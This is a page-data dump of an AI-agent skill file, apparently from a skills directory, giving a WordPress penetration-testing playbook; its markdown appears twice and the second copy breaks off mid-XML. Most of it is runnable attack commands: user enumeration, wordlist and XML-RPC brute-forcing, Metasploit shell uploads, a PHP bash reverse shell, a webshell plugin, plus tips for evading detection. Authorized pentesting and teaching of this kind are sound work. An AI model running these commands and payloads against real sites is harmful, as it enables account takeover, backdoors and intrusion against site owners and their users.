[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFWQW55ZVW94RN3ZP0Y5SF":3,"skill-same:01M6AFWQW55ZVW94RN3ZP0Y5SF":78},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":46,"linkOnly":47,"markdownContent":48,"markdownBody":49,"frontMatter":50,"refName":54,"commitSha":55,"skillDirectory":56,"forksCount":57,"repositoryHtmlUrl":58,"repositoryHomepageUrl":59,"ownerHtmlUrl":60,"ownerBlogUrl":61,"ownerDescription":62,"updatedAt":63,"install":64,"resources":77},"01M6AFWQW55ZVW94RN3ZP0Y5SF","WordPress Penetration Testing",null,"This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies.","davila7\u002Fclaude-code-templates","davila7","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F6216945?v=4","01M6ADEWWFPS191NFM0Y1EX1JH","Daniel Avila","01M6ADJHGM78PHQRD3XZTFDVKK",33418,"MIT","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwordpress-penetration-testing\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,5,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45],"wordpress","penetration","penetration testing","testing","pentest","when","for","wpscan","users","themes","sites","scan","security assessment","exploit","use","plugins","assessment","vulnerabilities","security","2026-11-10 10:12:30",false,"---\nname: WordPress Penetration Testing\ndescription: This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# WordPress Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.\n\n## Prerequisites\n\n### Required Tools\n- WPScan (pre-installed in Kali Linux)\n- Metasploit Framework\n- Burp Suite or OWASP ZAP\n- Nmap for initial discovery\n- cURL or wget\n\n### Required Knowledge\n- WordPress architecture and structure\n- Web application testing fundamentals\n- HTTP protocol understanding\n- Common web vulnerabilities (OWASP Top 10)\n\n## Outputs and Deliverables\n\n1. **WordPress Enumeration Report** - Version, themes, plugins, users\n2. **Vulnerability Assessment** - Identified CVEs and misconfigurations\n3. **Credential Assessment** - Weak password findings\n4. **Exploitation Proof** - Shell access documentation\n\n## Core Workflow\n\n### Phase 1: WordPress Discovery\n\nIdentify WordPress installations:\n\n```bash\n# Check for WordPress indicators\ncurl -s http:\u002F\u002Ftarget.com | grep -i wordpress\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"wp-content\"\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"wp-includes\"\n\n# Check common WordPress paths\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-login.php\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-admin\u002F\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-content\u002F\ncurl -I http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# Check meta generator tag\ncurl -s http:\u002F\u002Ftarget.com | grep \"generator\"\n\n# Nmap WordPress detection\nnmap -p 80,443 --script http-wordpress-enum target.com\n```\n\nKey WordPress files and directories:\n- `\u002Fwp-admin\u002F` - Admin dashboard\n- `\u002Fwp-login.php` - Login page\n- `\u002Fwp-content\u002F` - Themes, plugins, uploads\n- `\u002Fwp-includes\u002F` - Core files\n- `\u002Fxmlrpc.php` - XML-RPC interface\n- `\u002Fwp-config.php` - Configuration (not accessible if secure)\n- `\u002Freadme.html` - Version information\n\n### Phase 2: Basic WPScan Enumeration\n\nComprehensive WordPress scanning with WPScan:\n\n```bash\n# Basic scan\nwpscan --url http:\u002F\u002Ftarget.com\u002Fwordpress\u002F\n\n# With API token (for vulnerability data)\nwpscan --url http:\u002F\u002Ftarget.com --api-token YOUR_API_TOKEN\n\n# Aggressive detection mode\nwpscan --url http:\u002F\u002Ftarget.com --detection-mode aggressive\n\n# Output to file\nwpscan --url http:\u002F\u002Ftarget.com -o results.txt\n\n# JSON output\nwpscan --url http:\u002F\u002Ftarget.com -f json -o results.json\n\n# Verbose output\nwpscan --url http:\u002F\u002Ftarget.com -v\n```\n\n### Phase 3: WordPress Version Detection\n\nIdentify WordPress version:\n\n```bash\n# WPScan version detection\nwpscan --url http:\u002F\u002Ftarget.com\n\n# Manual version checks\ncurl -s http:\u002F\u002Ftarget.com\u002Freadme.html | grep -i version\ncurl -s http:\u002F\u002Ftarget.com\u002Ffeed\u002F | grep -i generator\ncurl -s http:\u002F\u002Ftarget.com | grep \"?ver=\"\n\n# Check meta generator\ncurl -s http:\u002F\u002Ftarget.com | grep 'name=\"generator\"'\n\n# Check RSS feeds\ncurl -s http:\u002F\u002Ftarget.com\u002Ffeed\u002F\ncurl -s http:\u002F\u002Ftarget.com\u002Fcomments\u002Ffeed\u002F\n```\n\nVersion sources:\n- Meta generator tag in HTML\n- readme.html file\n- RSS\u002FAtom feeds\n- JavaScript\u002FCSS file versions\n\n### Phase 4: Theme Enumeration\n\nIdentify installed themes:\n\n```bash\n# Enumerate all themes\nwpscan --url http:\u002F\u002Ftarget.com -e at\n\n# Enumerate vulnerable themes only\nwpscan --url http:\u002F\u002Ftarget.com -e vt\n\n# Theme enumeration with detection mode\nwpscan --url http:\u002F\u002Ftarget.com -e at --plugins-detection aggressive\n\n# Manual theme detection\ncurl -s http:\u002F\u002Ftarget.com | grep \"wp-content\u002Fthemes\u002F\"\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\n```\n\nTheme vulnerability checks:\n```bash\n# Search for theme exploits\nsearchsploit wordpress theme \u003Ctheme_name>\n\n# Check theme version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\u003Ctheme>\u002Fstyle.css | grep -i version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\u003Ctheme>\u002Freadme.txt\n```\n\n### Phase 5: Plugin Enumeration\n\nIdentify installed plugins:\n\n```bash\n# Enumerate all plugins\nwpscan --url http:\u002F\u002Ftarget.com -e ap\n\n# Enumerate vulnerable plugins only\nwpscan --url http:\u002F\u002Ftarget.com -e vp\n\n# Aggressive plugin detection\nwpscan --url http:\u002F\u002Ftarget.com -e ap --plugins-detection aggressive\n\n# Mixed detection mode\nwpscan --url http:\u002F\u002Ftarget.com -e ap --plugins-detection mixed\n\n# Manual plugin discovery\ncurl -s http:\u002F\u002Ftarget.com | grep \"wp-content\u002Fplugins\u002F\"\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002F\n```\n\nCommon vulnerable plugins to check:\n```bash\n# Search for plugin exploits\nsearchsploit wordpress plugin \u003Cplugin_name>\nsearchsploit wordpress mail-masta\nsearchsploit wordpress slideshow gallery\nsearchsploit wordpress reflex gallery\n\n# Check plugin version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002F\u003Cplugin>\u002Freadme.txt\n```\n\n### Phase 6: User Enumeration\n\nDiscover WordPress users:\n\n```bash\n# WPScan user enumeration\nwpscan --url http:\u002F\u002Ftarget.com -e u\n\n# Enumerate specific number of users\nwpscan --url http:\u002F\u002Ftarget.com -e u1-100\n\n# Author ID enumeration (manual)\nfor i in {1..20}; do\n    curl -s \"http:\u002F\u002Ftarget.com\u002F?author=$i\" | grep -o 'author\u002F[^\u002F]*\u002F'\ndone\n\n# JSON API user enumeration (if enabled)\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\n\n# REST API user enumeration\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers?per_page=100\n\n# Login error enumeration\ncurl -X POST -d \"log=admin&pwd=wrongpass\" http:\u002F\u002Ftarget.com\u002Fwp-login.php\n```\n\n### Phase 7: Comprehensive Enumeration\n\nRun all enumeration modules:\n\n```bash\n# Enumerate everything\nwpscan --url http:\u002F\u002Ftarget.com -e at -e ap -e u\n\n# Alternative comprehensive scan\nwpscan --url http:\u002F\u002Ftarget.com -e vp,vt,u,cb,dbe\n\n# Enumeration flags:\n# at - All themes\n# vt - Vulnerable themes\n# ap - All plugins\n# vp - Vulnerable plugins\n# u  - Users (1-10)\n# cb - Config backups\n# dbe - Database exports\n\n# Full aggressive enumeration\nwpscan --url http:\u002F\u002Ftarget.com -e at,ap,u,cb,dbe \\\n    --detection-mode aggressive \\\n    --plugins-detection aggressive\n```\n\n### Phase 8: Password Attacks\n\nBrute-force WordPress credentials:\n\n```bash\n# Single user brute-force\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Multiple users from file\nwpscan --url http:\u002F\u002Ftarget.com -U users.txt -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# With password attack threads\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --password-attack wp-login -t 50\n\n# XML-RPC brute-force (faster, may bypass protection)\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --password-attack xmlrpc\n\n# Brute-force with API limiting\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --throttle 500\n\n# Create targeted wordlist\ncewl http:\u002F\u002Ftarget.com -w wordlist.txt\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P wordlist.txt\n```\n\nPassword attack methods:\n- `wp-login` - Standard login form\n- `xmlrpc` - XML-RPC multicall (faster)\n- `xmlrpc-multicall` - Multiple passwords per request\n\n### Phase 9: Vulnerability Exploitation\n\n#### Metasploit Shell Upload\n\nAfter obtaining credentials:\n\n```bash\n# Start Metasploit\nmsfconsole\n\n# Admin shell upload\nuse exploit\u002Funix\u002Fwebapp\u002Fwp_admin_shell_upload\nset RHOSTS target.com\nset USERNAME admin\nset PASSWORD jessica\nset TARGETURI \u002Fwordpress\nset LHOST \u003Cyour_ip>\nexploit\n```\n\n#### Plugin Exploitation\n\n```bash\n# Slideshow Gallery exploit\nuse exploit\u002Funix\u002Fwebapp\u002Fwp_slideshowgallery_upload\nset RHOSTS target.com\nset TARGETURI \u002Fwordpress\nset USERNAME admin\nset PASSWORD jessica\nset LHOST \u003Cyour_ip>\nexploit\n\n# Search for WordPress exploits\nsearch type:exploit platform:php wordpress\n```\n\n#### Manual Exploitation\n\nTheme\u002Fplugin editor (with admin access):\n\n```php\n\u002F\u002F Navigate to Appearance > Theme Editor\n\u002F\u002F Edit 404.php or functions.php\n\u002F\u002F Add PHP reverse shell:\n\n\u003C?php\nexec(\"\u002Fbin\u002Fbash -c 'bash -i >& \u002Fdev\u002Ftcp\u002FYOUR_IP\u002F4444 0>&1'\");\n?>\n\n\u002F\u002F Or use weevely backdoor\n\u002F\u002F Access via: http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002Ftheme_name\u002F404.php\n```\n\nPlugin upload method:\n\n```bash\n# Create malicious plugin\ncat > malicious.php \u003C\u003C 'EOF'\n\u003C?php\n\u002F*\nPlugin Name: Malicious Plugin\nDescription: Security Testing\nVersion: 1.0\n*\u002F\nif(isset($_GET['cmd'])){\n    system($_GET['cmd']);\n}\n?>\nEOF\n\n# Zip and upload via Plugins > Add New > Upload Plugin\nzip malicious.zip malicious.php\n\n# Access webshell\ncurl \"http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002Fmalicious\u002Fmalicious.php?cmd=id\"\n```\n\n### Phase 10: Advanced Techniques\n\n#### XML-RPC Exploitation\n\n```bash\n# Check if XML-RPC is enabled\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# List available methods\ncurl -X POST -d '\u003C?xml version=\"1.0\"?>\u003CmethodCall>\u003CmethodName>system.listMethods\u003C\u002FmethodName>\u003C\u002FmethodCall>' http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# Brute-force via XML-RPC multicall\ncat > xmlrpc_brute.xml \u003C\u003C 'EOF'\n\u003C?xml version=\"1.0\"?>\n\u003CmethodCall>\n\u003CmethodName>system.multicall\u003C\u002FmethodName>\n\u003Cparams>\n\u003Cparam>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstruct>\n\u003Cmember>\u003Cname>methodName\u003C\u002Fname>\u003Cvalue>\u003Cstring>wp.getUsersBlogs\u003C\u002Fstring>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003Cmember>\u003Cname>params\u003C\u002Fname>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstring>admin\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstring>password1\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003C\u002Fstruct>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstruct>\n\u003Cmember>\u003Cname>methodName\u003C\u002Fname>\u003Cvalue>\u003Cstring>wp.getUsersBlogs\u003C\u002Fstring>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003Cmember>\u003Cname>params\u003C\u002Fname>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstring>admin\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstring>password2\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003C\u002Fstruct>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fparam>\n\u003C\u002Fparams>\n\u003C\u002FmethodCall>\nEOF\n\ncurl -X POST -d @xmlrpc_brute.xml http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n```\n\n#### Scanning Through Proxy\n\n```bash\n# Use Tor proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy socks5:\u002F\u002F127.0.0.1:9050\n\n# HTTP proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy http:\u002F\u002F127.0.0.1:8080\n\n# Burp Suite proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy http:\u002F\u002F127.0.0.1:8080 --disable-tls-checks\n```\n\n#### HTTP Authentication\n\n```bash\n# Basic authentication\nwpscan --url http:\u002F\u002Ftarget.com --http-auth admin:password\n\n# Force SSL\u002FTLS\nwpscan --url https:\u002F\u002Ftarget.com --disable-tls-checks\n```\n\n## Quick Reference\n\n### WPScan Enumeration Flags\n\n| Flag | Description |\n|------|-------------|\n| `-e at` | All themes |\n| `-e vt` | Vulnerable themes |\n| `-e ap` | All plugins |\n| `-e vp` | Vulnerable plugins |\n| `-e u` | Users (1-10) |\n| `-e cb` | Config backups |\n| `-e dbe` | Database exports |\n\n### Common WordPress Paths\n\n| Path | Purpose |\n|------|---------|\n| `\u002Fwp-admin\u002F` | Admin dashboard |\n| `\u002Fwp-login.php` | Login page |\n| `\u002Fwp-content\u002Fuploads\u002F` | User uploads |\n| `\u002Fwp-includes\u002F` | Core files |\n| `\u002Fxmlrpc.php` | XML-RPC API |\n| `\u002Fwp-json\u002F` | REST API |\n\n### WPScan Command Examples\n\n| Purpose | Command |\n|---------|---------|\n| Basic scan | `wpscan --url http:\u002F\u002Ftarget.com` |\n| All enumeration | `wpscan --url http:\u002F\u002Ftarget.com -e at,ap,u` |\n| Password attack | `wpscan --url http:\u002F\u002Ftarget.com -U admin -P pass.txt` |\n| Aggressive | `wpscan --url http:\u002F\u002Ftarget.com --detection-mode aggressive` |\n\n## Constraints and Limitations\n\n### Legal Considerations\n- Obtain written authorization before testing\n- Stay within defined scope\n- Document all testing activities\n- Follow responsible disclosure\n\n### Technical Limitations\n- WAF may block scanning\n- Rate limiting may prevent brute-force\n- Some plugins may have false negatives\n- XML-RPC may be disabled\n\n### Detection Evasion\n- Use random user agents: `--random-user-agent`\n- Throttle requests: `--throttle 1000`\n- Use proxy rotation\n- Avoid aggressive modes on monitored sites\n\n## Troubleshooting\n\n### WPScan Shows No Vulnerabilities\n\n**Solutions:**\n1. Use API token for vulnerability database\n2. Try aggressive detection mode\n3. Check for WAF blocking scans\n4. Verify WordPress is actually installed\n\n### Brute-Force Blocked\n\n**Solutions:**\n1. Use XML-RPC method instead of wp-login\n2. Add throttling: `--throttle 500`\n3. Use different user agents\n4. Check for IP blocking\u002Ffail2ban\n\n### Cannot Access Admin Panel\n\n**Solutions:**\n1. Verify credentials are correct\n2. Check for two-factor authentication\n3. Look for IP whitelist restrictions\n4. Check for login URL changes (security plugins)\n","# WordPress Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.\n\n## Prerequisites\n\n### Required Tools\n- WPScan (pre-installed in Kali Linux)\n- Metasploit Framework\n- Burp Suite or OWASP ZAP\n- Nmap for initial discovery\n- cURL or wget\n\n### Required Knowledge\n- WordPress architecture and structure\n- Web application testing fundamentals\n- HTTP protocol understanding\n- Common web vulnerabilities (OWASP Top 10)\n\n## Outputs and Deliverables\n\n1. **WordPress Enumeration Report** - Version, themes, plugins, users\n2. **Vulnerability Assessment** - Identified CVEs and misconfigurations\n3. **Credential Assessment** - Weak password findings\n4. **Exploitation Proof** - Shell access documentation\n\n## Core Workflow\n\n### Phase 1: WordPress Discovery\n\nIdentify WordPress installations:\n\n```bash\n# Check for WordPress indicators\ncurl -s http:\u002F\u002Ftarget.com | grep -i wordpress\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"wp-content\"\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"wp-includes\"\n\n# Check common WordPress paths\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-login.php\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-admin\u002F\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-content\u002F\ncurl -I http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# Check meta generator tag\ncurl -s http:\u002F\u002Ftarget.com | grep \"generator\"\n\n# Nmap WordPress detection\nnmap -p 80,443 --script http-wordpress-enum target.com\n```\n\nKey WordPress files and directories:\n- `\u002Fwp-admin\u002F` - Admin dashboard\n- `\u002Fwp-login.php` - Login page\n- `\u002Fwp-content\u002F` - Themes, plugins, uploads\n- `\u002Fwp-includes\u002F` - Core files\n- `\u002Fxmlrpc.php` - XML-RPC interface\n- `\u002Fwp-config.php` - Configuration (not accessible if secure)\n- `\u002Freadme.html` - Version information\n\n### Phase 2: Basic WPScan Enumeration\n\nComprehensive WordPress scanning with WPScan:\n\n```bash\n# Basic scan\nwpscan --url http:\u002F\u002Ftarget.com\u002Fwordpress\u002F\n\n# With API token (for vulnerability data)\nwpscan --url http:\u002F\u002Ftarget.com --api-token YOUR_API_TOKEN\n\n# Aggressive detection mode\nwpscan --url http:\u002F\u002Ftarget.com --detection-mode aggressive\n\n# Output to file\nwpscan --url http:\u002F\u002Ftarget.com -o results.txt\n\n# JSON output\nwpscan --url http:\u002F\u002Ftarget.com -f json -o results.json\n\n# Verbose output\nwpscan --url http:\u002F\u002Ftarget.com -v\n```\n\n### Phase 3: WordPress Version Detection\n\nIdentify WordPress version:\n\n```bash\n# WPScan version detection\nwpscan --url http:\u002F\u002Ftarget.com\n\n# Manual version checks\ncurl -s http:\u002F\u002Ftarget.com\u002Freadme.html | grep -i version\ncurl -s http:\u002F\u002Ftarget.com\u002Ffeed\u002F | grep -i generator\ncurl -s http:\u002F\u002Ftarget.com | grep \"?ver=\"\n\n# Check meta generator\ncurl -s http:\u002F\u002Ftarget.com | grep 'name=\"generator\"'\n\n# Check RSS feeds\ncurl -s http:\u002F\u002Ftarget.com\u002Ffeed\u002F\ncurl -s http:\u002F\u002Ftarget.com\u002Fcomments\u002Ffeed\u002F\n```\n\nVersion sources:\n- Meta generator tag in HTML\n- readme.html file\n- RSS\u002FAtom feeds\n- JavaScript\u002FCSS file versions\n\n### Phase 4: Theme Enumeration\n\nIdentify installed themes:\n\n```bash\n# Enumerate all themes\nwpscan --url http:\u002F\u002Ftarget.com -e at\n\n# Enumerate vulnerable themes only\nwpscan --url http:\u002F\u002Ftarget.com -e vt\n\n# Theme enumeration with detection mode\nwpscan --url http:\u002F\u002Ftarget.com -e at --plugins-detection aggressive\n\n# Manual theme detection\ncurl -s http:\u002F\u002Ftarget.com | grep \"wp-content\u002Fthemes\u002F\"\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\n```\n\nTheme vulnerability checks:\n```bash\n# Search for theme exploits\nsearchsploit wordpress theme \u003Ctheme_name>\n\n# Check theme version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\u003Ctheme>\u002Fstyle.css | grep -i version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\u003Ctheme>\u002Freadme.txt\n```\n\n### Phase 5: Plugin Enumeration\n\nIdentify installed plugins:\n\n```bash\n# Enumerate all plugins\nwpscan --url http:\u002F\u002Ftarget.com -e ap\n\n# Enumerate vulnerable plugins only\nwpscan --url http:\u002F\u002Ftarget.com -e vp\n\n# Aggressive plugin detection\nwpscan --url http:\u002F\u002Ftarget.com -e ap --plugins-detection aggressive\n\n# Mixed detection mode\nwpscan --url http:\u002F\u002Ftarget.com -e ap --plugins-detection mixed\n\n# Manual plugin discovery\ncurl -s http:\u002F\u002Ftarget.com | grep \"wp-content\u002Fplugins\u002F\"\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002F\n```\n\nCommon vulnerable plugins to check:\n```bash\n# Search for plugin exploits\nsearchsploit wordpress plugin \u003Cplugin_name>\nsearchsploit wordpress mail-masta\nsearchsploit wordpress slideshow gallery\nsearchsploit wordpress reflex gallery\n\n# Check plugin version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002F\u003Cplugin>\u002Freadme.txt\n```\n\n### Phase 6: User Enumeration\n\nDiscover WordPress users:\n\n```bash\n# WPScan user enumeration\nwpscan --url http:\u002F\u002Ftarget.com -e u\n\n# Enumerate specific number of users\nwpscan --url http:\u002F\u002Ftarget.com -e u1-100\n\n# Author ID enumeration (manual)\nfor i in {1..20}; do\n    curl -s \"http:\u002F\u002Ftarget.com\u002F?author=$i\" | grep -o 'author\u002F[^\u002F]*\u002F'\ndone\n\n# JSON API user enumeration (if enabled)\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\n\n# REST API user enumeration\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers?per_page=100\n\n# Login error enumeration\ncurl -X POST -d \"log=admin&pwd=wrongpass\" http:\u002F\u002Ftarget.com\u002Fwp-login.php\n```\n\n### Phase 7: Comprehensive Enumeration\n\nRun all enumeration modules:\n\n```bash\n# Enumerate everything\nwpscan --url http:\u002F\u002Ftarget.com -e at -e ap -e u\n\n# Alternative comprehensive scan\nwpscan --url http:\u002F\u002Ftarget.com -e vp,vt,u,cb,dbe\n\n# Enumeration flags:\n# at - All themes\n# vt - Vulnerable themes\n# ap - All plugins\n# vp - Vulnerable plugins\n# u  - Users (1-10)\n# cb - Config backups\n# dbe - Database exports\n\n# Full aggressive enumeration\nwpscan --url http:\u002F\u002Ftarget.com -e at,ap,u,cb,dbe \\\n    --detection-mode aggressive \\\n    --plugins-detection aggressive\n```\n\n### Phase 8: Password Attacks\n\nBrute-force WordPress credentials:\n\n```bash\n# Single user brute-force\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Multiple users from file\nwpscan --url http:\u002F\u002Ftarget.com -U users.txt -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# With password attack threads\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --password-attack wp-login -t 50\n\n# XML-RPC brute-force (faster, may bypass protection)\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --password-attack xmlrpc\n\n# Brute-force with API limiting\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --throttle 500\n\n# Create targeted wordlist\ncewl http:\u002F\u002Ftarget.com -w wordlist.txt\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P wordlist.txt\n```\n\nPassword attack methods:\n- `wp-login` - Standard login form\n- `xmlrpc` - XML-RPC multicall (faster)\n- `xmlrpc-multicall` - Multiple passwords per request\n\n### Phase 9: Vulnerability Exploitation\n\n#### Metasploit Shell Upload\n\nAfter obtaining credentials:\n\n```bash\n# Start Metasploit\nmsfconsole\n\n# Admin shell upload\nuse exploit\u002Funix\u002Fwebapp\u002Fwp_admin_shell_upload\nset RHOSTS target.com\nset USERNAME admin\nset PASSWORD jessica\nset TARGETURI \u002Fwordpress\nset LHOST \u003Cyour_ip>\nexploit\n```\n\n#### Plugin Exploitation\n\n```bash\n# Slideshow Gallery exploit\nuse exploit\u002Funix\u002Fwebapp\u002Fwp_slideshowgallery_upload\nset RHOSTS target.com\nset TARGETURI \u002Fwordpress\nset USERNAME admin\nset PASSWORD jessica\nset LHOST \u003Cyour_ip>\nexploit\n\n# Search for WordPress exploits\nsearch type:exploit platform:php wordpress\n```\n\n#### Manual Exploitation\n\nTheme\u002Fplugin editor (with admin access):\n\n```php\n\u002F\u002F Navigate to Appearance > Theme Editor\n\u002F\u002F Edit 404.php or functions.php\n\u002F\u002F Add PHP reverse shell:\n\n\u003C?php\nexec(\"\u002Fbin\u002Fbash -c 'bash -i >& \u002Fdev\u002Ftcp\u002FYOUR_IP\u002F4444 0>&1'\");\n?>\n\n\u002F\u002F Or use weevely backdoor\n\u002F\u002F Access via: http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002Ftheme_name\u002F404.php\n```\n\nPlugin upload method:\n\n```bash\n# Create malicious plugin\ncat > malicious.php \u003C\u003C 'EOF'\n\u003C?php\n\u002F*\nPlugin Name: Malicious Plugin\nDescription: Security Testing\nVersion: 1.0\n*\u002F\nif(isset($_GET['cmd'])){\n    system($_GET['cmd']);\n}\n?>\nEOF\n\n# Zip and upload via Plugins > Add New > Upload Plugin\nzip malicious.zip malicious.php\n\n# Access webshell\ncurl \"http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002Fmalicious\u002Fmalicious.php?cmd=id\"\n```\n\n### Phase 10: Advanced Techniques\n\n#### XML-RPC Exploitation\n\n```bash\n# Check if XML-RPC is enabled\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# List available methods\ncurl -X POST -d '\u003C?xml version=\"1.0\"?>\u003CmethodCall>\u003CmethodName>system.listMethods\u003C\u002FmethodName>\u003C\u002FmethodCall>' http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# Brute-force via XML-RPC multicall\ncat > xmlrpc_brute.xml \u003C\u003C 'EOF'\n\u003C?xml version=\"1.0\"?>\n\u003CmethodCall>\n\u003CmethodName>system.multicall\u003C\u002FmethodName>\n\u003Cparams>\n\u003Cparam>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstruct>\n\u003Cmember>\u003Cname>methodName\u003C\u002Fname>\u003Cvalue>\u003Cstring>wp.getUsersBlogs\u003C\u002Fstring>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003Cmember>\u003Cname>params\u003C\u002Fname>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstring>admin\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstring>password1\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003C\u002Fstruct>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstruct>\n\u003Cmember>\u003Cname>methodName\u003C\u002Fname>\u003Cvalue>\u003Cstring>wp.getUsersBlogs\u003C\u002Fstring>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003Cmember>\u003Cname>params\u003C\u002Fname>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstring>admin\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstring>password2\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003C\u002Fstruct>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002F